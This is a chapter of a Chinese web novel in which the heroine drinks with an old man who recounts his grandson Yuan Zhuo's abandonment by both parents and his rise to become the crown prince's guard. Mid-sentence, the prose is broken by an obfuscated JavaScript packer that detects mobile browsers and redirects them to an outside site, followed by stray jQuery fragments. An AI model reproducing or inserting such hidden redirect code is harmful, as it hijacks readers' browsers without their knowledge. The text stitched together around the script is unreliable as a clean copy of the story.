接下来几日，府中忙着筹备婚礼事宜，比往常有了许多人气，却也忙碌了起来。
祝昭在元安没有多余认识的人，况且她也知道自己的灾厄之名，故而她很少外出，一来懒得与人多费口舌，二来最近忙着改善话本子。
袁琢被采生折割案绊住了脚步，整日整夜的都要住在天策卫了，袁阿翁这些日子身体倒是比前几日好多了，只是还有些大病初愈的虚弱。
其实在一个地方待久了，祝昭是待不住的，只是比起与府外那些自认优渥的人交谈，她更愿意在府中。
四方天地确实不能久待，所以她将目光投向了院中的那棵古木。
祝昭灵活地向那棵高矗的银杏树枝头爬去，因着幼时在濯县没少爬过树，故而只消片刻就坐在了枝桠间得意地朝树下的赤华笑着扬了扬眉。
“如何？”
“我们爬树可从来没爬过你！”赤华在树下朝祝昭喊着。
以往在濯陵的时候，青麦阿姐和她都爬不过祝昭，所以每次要上树摘果子什么的都交给祝昭去做了。
秋日之时，银杏金黄，将落日头穿过大片大片的叶子，明亮通透，难得在萧瑟的深秋有这般开得喧哗，开得蓬勃的草木。
祝昭灿烂的笑颜在层层叠叠的银杏叶中熠熠生辉，笑得喧哗，笑得蓬勃。
祝昭正打算再往上攀一些，这样说不定能看到府外的样子，却听到一声苍老含笑的声音在树下叫唤：“祝丫头，爬树呢？来不来陪我这个老头子喝喝酒啊？”
祝昭笑着朝袁阿翁挥了挥手：“喝！喝！”
祝昭近来没出过袁府，每日和赤华大眼瞪小眼的，生生要将她憋出病来。
如今阿翁主动请她喝酒聊往事，那自然是欣然接受。
“阿翁你少喝些，你这身子刚看这好了不少。”祝昭看着袁阿翁苍老的双手拿着酒坛给她倒酒，不禁有些担心。
这老人家喝酒怎么都是用坛和碗的阿？不应该是壶和盏吗？
袁阿翁将那坛清酒放在了石桌上，二人面前的陶碗里浮着琥珀色的天光，袁阿翁须发已染霜白，指节叩了叩坛口，忽然低笑一声，将酒碗往祝昭面前推了推：“昭丫头，这酒太淡，喝着不过瘾。”
祝昭一下子没反应过来，她愣了一瞬，呆呆地“啊”了一声。
“想当年啊……”袁阿翁声音忽然亮起来，“阿翁我啊这样的酒喝个十几坛就像张飞吃豆芽一样！”
他顿了顿，枯瘦的手指比划出碗口大的圈：“不是现在这种小陶坛，是那种粗瓷瓮，在瑕州乡下常见，来了元安后我就没见到过了。”
风掠过银杏叶，将他的话音吹得忽高忽低，他却端起酒碗一饮而尽。
“如今不成了，老了。”袁阿翁放下空碗，指腹摩挲着陶瓷酒坛，长叹道，“袁琢那小子不会喝酒，就这点不像我，像他爹。”
祝昭望着袁阿翁眼中忽然出现的孩子气，她轻轻笑了笑：“阿翁你这说的，中郎将的爹不也是你的儿子嘛，这么说起来，你儿子也没有传到你的好酒量啊？”
袁阿翁听完哈哈大笑，他又给自己满上了，嗤笑一声：“他啊，什么好的都没传到！”
袁阿翁又将一饮而尽的陶碗重重一放，忽然冷声：“我那逆子为了个外姓人，把自个儿亲娘扔在家里喝西北风。”
祝昭放下酒碗的手顿了顿。
“他爹十六岁就走南闯北。”袁阿翁愤愤地敲着石案，“后来跟着商贾做买卖，他跟着商人老爷去知县府赴宴，见了那穿绫罗戴珠翠的小姐，魂儿都飞了，回来就嫌家里的新妇是乡下丫头。”
“明明连亲都成了，阿琢都在他娘的肚子里了，那逆子倒好，转头就跟着别人跑了，连句交代都没有，后来倒是回过几次家来见过阿琢，毕竟他是阿琢的生父，我也就没拦着，后来阿琢长大了，说不想见他了，我就不让那逆子来了，算起来也有十多年没见到他了。”
“去年腊月，同乡人给我来了书信，说他那个官家夫人前几年给他捐了个芝麻官。”袁阿翁忽然放低声音，“穿得人模狗样，见了同乡装作不认识，我老袁家的脸，都让他丢尽了！”
“啊？”祝昭没有料到是这样的，大街上广为流传的是袁琢父母双亡，没想到他的父亲没有离世，只是自他还未出生之时就不要他了。
“喝酒喝酒，这让人糟心的逆子不说也罢。”袁阿翁拿起酒碗朝她碰了碰。
祝昭将手中的酒水一饮而尽，趁着倒酒的空隙询问：“那中郎将的母亲呢？”
“她啊……生下阿琢才三年，就跟着个货郎跑了。”
祝昭端着酒坛的手一滞，越听眉头皱得越深。
“那年月闹饥荒，”袁阿翁声音忽然哑了，“他爹刚走，家里只剩半袋糠菜，她抱着娃坐在门槛上哭，眼泪掉在襁褓上，湿了一大片。”
“有天来了个卖丝线的货郎，穿得齐整，说能带她去镇上吃香的喝辣的。第二天天没亮，我就见她把阿琢往屋里一放，包袱都没拿，跟着货郎走了。”
“走的时候，阿琢才多大啊？阿琢就一直在哭啊，他当时连路都走不稳，但是他知道他娘这一走就不会回来了，他跑得跌跌撞撞，摔了又爬起来去追他娘，拉着他娘的衣服不让她走，可是他娘连头都没回......欸昭丫头，日头落山了，你去取个灯笼来吧。”
晚风卷着银杏叶，落到石桌旁，祝昭轻轻应了一声，从廊下取来灯笼挂在在低处树枝上。
暖黄的光漫开来时，天边最后一丝亮色也沉了下去。
灯笼的光忽明忽暗，祝昭回身坐下的一瞬间仿佛看到了袁阿翁的眼角滑下一滴泪，可一瞬间就没了踪影，她都怀疑自己看错了。
“阿琢哭着要娘，嗓子都哭哑了，最后趴在他阿媪背上睡着了，不到四岁的孩子懂什么？往后几年我总能看到他就搬着小板凳坐在门口，他不说，我也知道他在等娘，再等他年岁大一些，他便也就不执着此事了。”
祝昭默默地喝掉了酒碗中的酒水。
“他娘走之前正值端午，昭丫头，你有没有看到过他右腕间的赤绳？”袁阿翁问道。
祝昭回想了一下，袁琢好像每次都会戴护袖，她从来没看到过他的手腕，于是她摇了摇头。
“那是他娘给他的长命缕，阿琢一直
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017366|169261||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不肯扔。”袁阿翁轻叹一声，所以越说越无力，“唉，如今呐，都褪色了。”
书中记载，端阳日，幼童系五彩丝于腕，俗谓长命缕。
里俗相传，至后月首雨，当解而弃之通衢，或投诸流水，曰雨洗百秽，绳去灾殃。
雨为天地之涤，弃绳于水，乃假自然之力祛邪祟，日孩童解绳时，毋反顾，谓恐灾厄随目视返。
可弃绳之时，袁琢反顾了。
他没能弃绳。
“后来阿琢到了读书识字的年岁，我带他去学堂蒙学，夫子皆称此子禀赋卓然，目过成诵，堪为栋梁之材。但家中清苦，无余财购楮墨，阿琢折苇杆作笔，以泥地为纸，一笔一划，皆见赤诚呐！”
“每遇农忙，他必然辍读帮我操持田亩，即使村头稚子嘲笑他孤露无依，他也从未有过愠色，每次都是憨笑应之，从前啊，他就是这般自在豁达，鲜活无拘，可他现在......”
祝昭听得又难受又无奈，她想不通，从前那么苦的日子，他怎么还能憨笑应之？可如今她认识的袁琢浑身冷冰冰的，像块捂不热的石头只是偶尔暴露一些他温良的本性，她想问阿翁一些什么，可刚到嘴边的话又咽了回去，嘴角僵着，连个笑容都挤不出来。
真想看看他以前是个什么样子的人。
阿翁叹了口气，喝了口酒水，继续往下说。
再后来，瑕州蝗蝻蔽野，赤地千里，民不聊生，他们祖孙二人艰难度日，于是辗转至元安，元安虽然可鬻蔬度日，然市井繁华处，素缣价逾粟米，笔墨之资竟成奢费。
一日，袁琢突然对袁阿翁说想要弃文从武，他说城中武馆招募学徒，既可得薪俸，又能习练武艺。
袁阿翁初闻骇然，言辞坚决不应允，可袁琢却乐呵呵地笑了笑，自命不凡地说：“经籍烦冗，不及弓马快意，我若是得了武先生教导，那成就必然比读书来得快，来得大！”
袁阿翁岂能不知道袁琢的隐衷？
他实际上是体恤袁阿翁老迈，想要用微薄之薪贴补家用，所谓学徒，不过是武馆中洒扫庭除的伙计罢了。
可袁琢情辞恳切，跪陈再三，袁阿翁终难违拗，只得含泪应允。
再后来武馆开不下去了，袁琢投身行伍，从一卒做起。
机缘际会，在校场演武时为当朝先太子所青睐，特命其赴武闱应试。
袁琢不负所望，技压群雄，蟾宫折桂，旋入禁军效命。
此为一起。
此后累立战功，青云直上，本当光耀门楣，风光无限，孰料命运无常。
那日，市井喧嚣，酒旗招展间袁琢忽闻女子凄厉呼救。
他循声望去，见几个泼皮无赖正当街强掳良家女子，怒火瞬间涌上心头，随手掷了茶盏。
他正值血气方刚之年，拳脚凌厉，一番打斗下来，街边砖瓦狼藉，众人纷纷避之不及。
很快，衙役闻讯而至，以扰乱治安为由，将他锁拿入狱。
此为一落。
幸而先太子惜其义勇，亲自上书陈情，才将他救出囹圄。
自此，他便成了太子身边的带刀侍卫。